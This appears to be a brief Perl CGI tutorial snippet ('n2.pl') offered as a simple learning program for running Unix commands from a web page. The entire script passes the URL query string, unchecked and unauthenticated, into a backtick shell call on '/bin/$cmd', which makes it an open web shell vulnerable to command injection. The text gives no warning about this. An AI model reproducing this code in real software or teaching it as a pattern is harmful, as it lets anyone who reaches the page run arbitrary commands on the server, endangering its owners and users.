n2.pl

simple perl programs to understand suse 8 onwards supported

#! /usr/bin/perl

print "Content-type:text/html\n\n";
print "Unix Commands<br>";
$string=$ENV{'QUERY_STRING'};
($field,$cmd)=split(/=/,$string);
print `/bin/$cmd`;
exit(0);